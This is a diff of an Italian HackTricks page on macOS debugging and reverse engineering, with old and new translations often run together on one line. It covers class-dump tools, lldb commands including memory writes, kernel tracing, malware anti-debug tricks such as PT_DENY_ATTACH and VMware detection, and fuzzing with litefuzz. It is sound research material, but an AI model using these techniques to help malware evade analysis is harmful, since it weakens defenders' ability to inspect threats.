Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware stealer**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware stealer**.
Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
@ -114,7 +115,7 @@ ldid -S/tmp/entl.xml <binary>
### SuspiciousPackage ### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) è uno strumento utile per ispezionare file **.pkg** (installatori) e vedere cosa c'è dentro prima di installarlo.\ [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) è uno strumento utile per ispezionare file **.pkg** (installatori) e vedere cosa c'è dentro prima di installarlo.\
Questi installatori contengono script bash `preinstall` e `postinstall` che gli autori di malware di solito sfruttano per **persistere** il **malware**. Questi installatori hanno script bash `preinstall` e `postinstall` che gli autori di malware di solito sfruttano per **persistere** il **malware**.
### hdiutil ### hdiutil
@ -143,18 +144,18 @@ Nota che i programmi scritti in Objective-C **mantengono** le loro dichiarazioni
* Le variabili di istanza dell'interfaccia * Le variabili di istanza dell'interfaccia
* I protocolli definiti * I protocolli definiti
Nota che questi nomi potrebbero essere offuscati per rendere più difficile il reverse engineering del binario. Nota che questi nomi potrebbero essere offuscati per rendere più difficile l'inversione del binario.
### Chiamata di funzioni ### Chiamata di funzioni
Quando una funzione viene chiamata in un binario che utilizza Objective-C, invece di chiamare direttamente quella funzione, il codice compilato chiamerà **`objc_msgSend`**. Questo chiamerà infine la funzione finale: Quando una funzione viene chiamata in un binario che utilizza Objective-C, il codice compilato invece di chiamare quella funzione, chiamerà **`objc_msgSend`**. Che chiamerà la funzione finale:
![](<../../../.gitbook/assets/image (305).png>) ![](<../../../.gitbook/assets/image (305).png>)
I parametri che questa funzione si aspetta sono: I parametri che questa funzione si aspetta sono:
* Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". O più semplicemente, è l'oggetto su cui il metodo viene invocato. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto della classe (nel suo complesso), mentre per un metodo di istanza, self punterà a un'istanza istanziata della classe come oggetto. * Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". O più semplicemente, è l'oggetto su cui il metodo viene invocato. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto della classe (nel suo complesso), mentre per un metodo di istanza, self punterà a un'istanza istanziata della classe come oggetto.
* Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Di nuovo, in modo più semplice, questo è semplicemente il **nome del metodo**. * Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Di nuovo, in modo più semplice, questo è solo il **nome del metodo**.
* I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op). * I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op).
Vedi come **ottenere facilmente queste informazioni con `lldb` in ARM64** in questa pagina: Vedi come **ottenere facilmente queste informazioni con `lldb` in ARM64** in questa pagina:
@ -179,7 +180,7 @@ x64:
### Dynadump ### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump) è uno strumento per estrarre le classi dai binari Objective-C. Il repository GitHub specifica dylibs ma funziona anche con eseguibili. [**Dynadump**](https://github.com/DerekSelander/dynadump) è uno strumento per class-dump dei binari Objective-C. Il github specifica dylibs ma funziona anche con eseguibili.
```bash ```bash
./dynadump dump /path/to/bin ./dynadump dump /path/to/bin
``` ```
@ -199,7 +200,7 @@ objdump --macho --objc-meta-data /path/to/bin
#### ICDump #### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) è un dump di classi Objective-C moderno e multi-piattaforma. Rispetto agli strumenti esistenti, iCDump può essere eseguito in modo indipendente dall'ecosistema Apple ed espone collegamenti Python. [**iCDump**](https://github.com/romainthomas/iCDump) è un dump di classi Objective-C moderno e multi-piattaforma. Rispetto agli strumenti esistenti, iCDump può essere eseguito indipendentemente dall'ecosistema Apple ed espone collegamenti Python.
```python ```python
import icdump import icdump
metadata = icdump.objc.parse("/path/to/bin") metadata = icdump.objc.parse("/path/to/bin")
@ -247,7 +248,7 @@ Si noti che per **strumentare i binari di sistema** (come `cloudconfigurationd`)
macOS espone alcune API interessanti che forniscono informazioni sui processi: macOS espone alcune API interessanti che forniscono informazioni sui processi:
* `proc_info`: Questa è quella principale che fornisce molte informazioni su ciascun processo. È necessario essere root per ottenere informazioni su altri processi ma non sono necessari privilegi speciali o porte mach. * `proc_info`: Questa è quella principale che fornisce molte informazioni su ciascun processo. È necessario essere root per ottenere informazioni su altri processi ma non sono necessari privilegi speciali o porte mach.
* `libsysmon.dylib`: Consente di ottenere informazioni sui processi tramite funzioni esposte da XPC, tuttavia è necessario disporre dell'entitlement `com.apple.sysmond.client`. * `libsysmon.dylib`: Consente di ottenere informazioni sui processi tramite funzioni XPC esposte, tuttavia è necessario disporre dell'entitlement `com.apple.sysmond.client`.
### Stackshot & microstackshots ### Stackshot & microstackshots
@ -257,7 +258,7 @@ macOS espone alcune API interessanti che forniscono informazioni sui processi:
Questo strumento (`/usr/bini/ysdiagnose`) raccoglie fondamentalmente molte informazioni dal tuo computer eseguendo decine di comandi diversi come `ps`, `zprint`... Questo strumento (`/usr/bini/ysdiagnose`) raccoglie fondamentalmente molte informazioni dal tuo computer eseguendo decine di comandi diversi come `ps`, `zprint`...
Deve essere eseguito come **root** e il daemon `/usr/libexec/sysdiagnosed` ha entitlement molto interessanti come `com.apple.system-task-ports` e `get-task-allow`. Deve essere eseguito come **root** e il demone `/usr/libexec/sysdiagnosed` ha entitlement molto interessanti come `com.apple.system-task-ports` e `get-task-allow`.
Il suo plist si trova in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` che dichiara 3 MachServices: Il suo plist si trova in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` che dichiara 3 MachServices:
@ -381,7 +382,7 @@ Strumenti come `latency`, `sc_usage`, `fs_usage` e `trace` lo utilizzano interna
Per interfacciarsi con `kdebug` si utilizza `sysctl` sul namespace `kern.kdebug` e le MIB da utilizzare si trovano in `sys/sysctl.h` con le funzioni implementate in `bsd/kern/kdebug.c`. Per interfacciarsi con `kdebug` si utilizza `sysctl` sul namespace `kern.kdebug` e le MIB da utilizzare si trovano in `sys/sysctl.h` con le funzioni implementate in `bsd/kern/kdebug.c`.
Per interagire con kdebug con un client personalizzato, di solito si seguono questi passaggi: Per interagire con kdebug con un client personalizzato di solito si seguono questi passaggi:
* Rimuovere le impostazioni esistenti con KERN\_KDSETREMOVE * Rimuovere le impostazioni esistenti con KERN\_KDSETREMOVE
* Impostare il tracciamento con KERN\_KDSETBUF e KERN\_KDSETUP * Impostare il tracciamento con KERN\_KDSETBUF e KERN\_KDSETUP
@ -389,7 +390,7 @@ Per interagire con kdebug con un client personalizzato, di solito si seguono que
* Ottenere il proprio client dal tracciamento con KERN\_KDPINDEX * Ottenere il proprio client dal tracciamento con KERN\_KDPINDEX
* Abilitare il tracciamento con KERN\_KDENABLE * Abilitare il tracciamento con KERN\_KDENABLE
* Leggere il buffer chiamando KERN\_KDREADTR * Leggere il buffer chiamando KERN\_KDREADTR
* Per associare ciascun thread al relativo processo, chiamare KERN\_KDTHRMAP. * Per abbinare ciascun thread al relativo processo chiamare KERN\_KDTHRMAP.
Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.** Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
@ -409,13 +410,13 @@ Oppure `tailspin`.
### kperf ### kperf
Questo viene utilizzato per eseguire un profiling a livello di kernel ed è costruito utilizzando le chiamate `Kdebug`. Questo viene utilizzato per eseguire un profiling a livello di kernel ed è costruito utilizzando chiamate `Kdebug`.
Fondamentalmente, la variabile globale `kernel_debug_active` viene controllata e se impostata chiama `kperf_kdebug_handler` con il codice `Kdebug` e l'indirizzo del frame del kernel chiamante. Se il codice `Kdebug` corrisponde a uno selezionato, ottiene le "azioni" configurate come una bitmap (controlla `osfmk/kperf/action.h` per le opzioni). Fondamentalmente, la variabile globale `kernel_debug_active` viene controllata e se impostata chiama `kperf_kdebug_handler` con il codice `Kdebug` e l'indirizzo del frame del kernel chiamante. Se il codice `Kdebug` corrisponde a uno selezionato, ottiene le "azioni" configurate come una bitmap (controlla `osfmk/kperf/action.h` per le opzioni).
Kperf ha anche una tabella MIB sysctl: (come root) `sysctl kperf`. Questi codici possono essere trovati in `osfmk/kperf/kperfbsd.c`. Kperf ha anche una tabella MIB sysctl: (come root) `sysctl kperf`. Questi codici possono essere trovati in `osfmk/kperf/kperfbsd.c`.
Inoltre, un sottoinsieme della funzionalità di Kperf risiede in `kpc`, che fornisce informazioni sui contatori delle prestazioni della macchina. Inoltre, un sottoinsieme delle funzionalità di Kperf risiede in `kpc`, che fornisce informazioni sui contatori delle prestazioni della macchina.
### ProcessMonitor ### ProcessMonitor
@ -434,11 +435,11 @@ Inoltre, un sottoinsieme della funzionalità di Kperf risiede in `kpc`, che forn
### Crescendo ### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto che gli utenti di Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di avviare e interrompere la registrazione di vari tipi di eventi, consente di filtrare questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità per salvare gli eventi registrati in un formato json. [**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto e la sensazione che gli utenti di Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di avviare e interrompere la registrazione di vari tipi di eventi, consente di filtrare questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità di salvare gli eventi registrati in un formato json.
### Apple Instruments ### Strumenti Apple
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) fanno parte degli strumenti per sviluppatori di Xcode, utilizzati per monitorare le prestazioni dell'applicazione, identificare le perdite di memoria e tracciare l'attività del filesystem. [**Strumenti Apple**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) fanno parte degli strumenti per sviluppatori di Xcode, utilizzati per monitorare le prestazioni dell'applicazione, identificare perdite di memoria e tracciare l'attività del filesystem.
![](<../../../.gitbook/assets/image (1138).png>) ![](<../../../.gitbook/assets/image (1138).png>)
@ -456,7 +457,7 @@ Controlla anche i processi binari su **virustotal** e mostra informazioni sul bi
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a> ## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
In [**questo post del blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) puoi trovare un esempio su come **debuggare un demone in esecuzione** che utilizza **`PT_DENY_ATTACH`** per impedire il debug anche se SIP era disabilitato. In [**questo post sul blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) puoi trovare un esempio su come **debuggare un demone in esecuzione** che utilizza **`PT_DENY_ATTACH`** per impedire il debug anche se SIP è disabilitato.
### lldb ### lldb
@ -475,10 +476,10 @@ settings set target.x86-disassembly-flavor intel
All'interno di lldb, eseguire il dump di un processo con `process save-core` All'interno di lldb, eseguire il dump di un processo con `process save-core`
{% endhint %} {% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Avvia l'esecuzione, che continuerà senza interruzioni fino a quando non viene raggiunto un punto di interruzione o il processo termina.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegue l'istruzione successiva. Questo comando salterà le chiamate alle funzioni.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegue l'istruzione successiva. A differenza del comando nexti, questo comando entrerà nelle chiamate alle funzioni.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegue il resto delle istruzioni nella funzione corrente ("frame") e si ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Mette in pausa l'esecuzione. Se il processo è stato avviato (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualsiasi funzione chiamata main</p><p>b &#x3C;nomebinario>`main #Funzione principale del binario</p><p>b set -n main --shlib &#x3C;nome_libreria> #Funzione principale del binario indicato</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Elenco dei punti di interruzione</p><p>br e/dis &#x3C;num> #Abilita/Disabilita il punto di interruzione</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;registro/indirizzo di memoria</strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i &#x3C;registro/indirizzo di memoria</strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b &#x3C;registro/indirizzo di memoria</strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o metodi Objective-C di Apple restituiscono oggetti e quindi dovrebbero essere visualizzati tramite il comando "print object" (po). Se po non produce un output significativo, utilizzare <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n &#x3C;nomefunzione> #Disassembla la funzione</p><p>dis -n &#x3C;nomefunzione> -b &#x3C;basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Avvia l'esecuzione, che continuerà senza interruzioni fino a quando non viene raggiunto un punto di interruzione o il processo termina.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegue l'istruzione successiva. Questo comando salterà le chiamate alle funzioni.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegue l'istruzione successiva. A differenza del comando nexti, questo comando entrerà nelle chiamate alle funzioni.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegue il resto delle istruzioni nella funzione corrente ("frame") e si ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Sospende l'esecuzione. Se il processo è stato avviato (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualsiasi funzione chiamata main</p><p>b &#x3C;nomebinario>`main #Funzione principale del binario</p><p>b set -n main --shlib &#x3C;nome_libreria> #Funzione principale del binario indicato</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Elenco dei punti di interruzione</p><p>br e/dis &#x3C;num> #Abilita/Disabilita il punto di interruzione</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;registro/indirizzo di memoria></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i &#x3C;registro/indirizzo di memoria></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b &#x3C;registro/indirizzo di memoria></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o metodi Objective-C di Apple restituiscono oggetti e quindi dovrebbero essere visualizzati tramite il comando "print object" (po). Se po non produce un output significativo, utilizzare <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n &#x3C;nomefunzione> #Disassembla la funzione</p><p>dis -n &#x3C;nomefunzione> -b &#x3C;basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 linee<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr></tbody></table>
{% hint style="info" %} {% hint style="info" %}
Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come una stringa terminata da null ("C"). Per stampare il nome tramite lldb fare: Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null ("C"). Per stampare il nome tramite lldb fare:
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -497,19 +498,19 @@ Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il
* Alcuni malware possono anche **rilevare** se la macchina è basata su **VMware** in base all'indirizzo MAC (00:50:56). * Alcuni malware possono anche **rilevare** se la macchina è basata su **VMware** in base all'indirizzo MAC (00:50:56).
* È anche possibile scoprire se un processo è in fase di debug con un codice semplice come: * È anche possibile scoprire se un processo è in fase di debug con un codice semplice come:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo in fase di debug }` * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo in fase di debug }`
* È possibile anche invocare la chiamata di sistema **`ptrace`** con il flag **`PT_DENY_ATTACH`**. Questo **impedisce** a un deb**u**gger di attaccare e tracciare. * È possibile anche invocare la chiamata di sistema **`ptrace`** con il flag **`PT_DENY_ATTACH`**. Questo **impedisce** a un deb**u**gger di collegarsi e tracciare.
* È possibile verificare se la funzione **`sysctl`** o **`ptrace`** viene **importata** (ma il malware potrebbe importarla dinamicamente) * È possibile verificare se la funzione **`sysctl`** o **`ptrace`** viene **importata** (ma il malware potrebbe importarla dinamicamente)
* Come indicato in questo articolo, “[Sconfiggere le tecniche anti-debug: varianti di ptrace su macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ * Come indicato in questo articolo, “[Sconfiggere le tecniche anti-debug: varianti di ptrace su macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Il messaggio Processo # è uscito con **status = 45 (0x0000002d)** è di solito un chiaro segno che il target di debug sta utilizzando **PT\_DENY\_ATTACH**_” “_Il messaggio Processo # è uscito con **status = 45 (0x0000002d)** è di solito un segno che il target di debug sta utilizzando **PT\_DENY\_ATTACH**_”
## Core Dumps ## Core Dumps
I core dumps vengono creati se: I dump core vengono creati se:
- `kern.coredump` sysctl è impostato su 1 (per impostazione predefinita) - `kern.coredump` sysctl è impostato su 1 (per impostazione predefinita)
- Se il processo non era suid/sgid o `kern.sugid_coredump` è 1 (per impostazione predefinita è 0) - Se il processo non era suid/sgid o `kern.sugid_coredump` è 1 (per impostazione predefinita è 0)
- Il limite `AS_CORE` consente l'operazione. È possibile sopprimere la creazione di core dumps chiamando `ulimit -c 0` e riabilitarli con `ulimit -c unlimited`. - Il limite `AS_CORE` consente l'operazione. È possibile sopprimere la creazione dei dump core chiamando `ulimit -c 0` e riabilitarli con `ulimit -c unlimited`.
In quei casi i core dumps vengono generati in base a `kern.corefile` sysctl e di solito vengono memorizzati in `/cores/core/.%P`. In quei casi i dump core vengono generati in base a `kern.corefile` sysctl e di solito vengono memorizzati in `/cores/core/.%P`.
## Fuzzing ## Fuzzing
@ -517,7 +518,7 @@ In quei casi i core dumps vengono generati in base a `kern.corefile` sysctl e di
ReportCrash **analizza i processi in crash e salva un report di crash su disco**. Un report di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\ ReportCrash **analizza i processi in crash e salva un report di crash su disco**. Un report di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\
Per applicazioni e altri processi **in esecuzione nel contesto di lancio per utente singolo**, ReportCrash viene eseguito come LaunchAgent e salva i report di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\ Per applicazioni e altri processi **in esecuzione nel contesto di lancio per utente singolo**, ReportCrash viene eseguito come LaunchAgent e salva i report di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\
Per daemon, altri processi **in esecuzione nel contesto di lancio di sistema** e altri processi privilegiati, ReportCrash viene eseguito come LaunchDaemon e salva i report di crash nella cartella `/Library/Logs/DiagnosticReports` del sistema. Per daemon, altri processi **in esecuzione nel contesto di lancio di sistema** e altri processi privilegiati, ReportCrash viene eseguito come LaunchDaemon e salva i report di crash nella cartella `/Library/Logs/DiagnosticReports` di sistema.
Se ti preoccupano i report di crash **che vengono inviati ad Apple**, puoi disabilitarli. In caso contrario, i report di crash possono essere utili per **capire come è avvenuto il crash di un server**. Se ti preoccupano i report di crash **che vengono inviati ad Apple**, puoi disabilitarli. In caso contrario, i report di crash possono essere utili per **capire come è avvenuto il crash di un server**.
```bash ```bash
@ -613,7 +614,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
``` ```
{% endcode %} {% endcode %}
### Ulteriori informazioni sul Fuzzing di MacOS ### Ulteriori informazioni sul fuzzing di MacOS
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44) * [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf) * [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
@ -631,7 +632,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware stealer**.
Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
@ -639,16 +640,17 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Introduzione ad ARM64v8 # Introduzione ad ARM64v8
{% hint style="success" %}
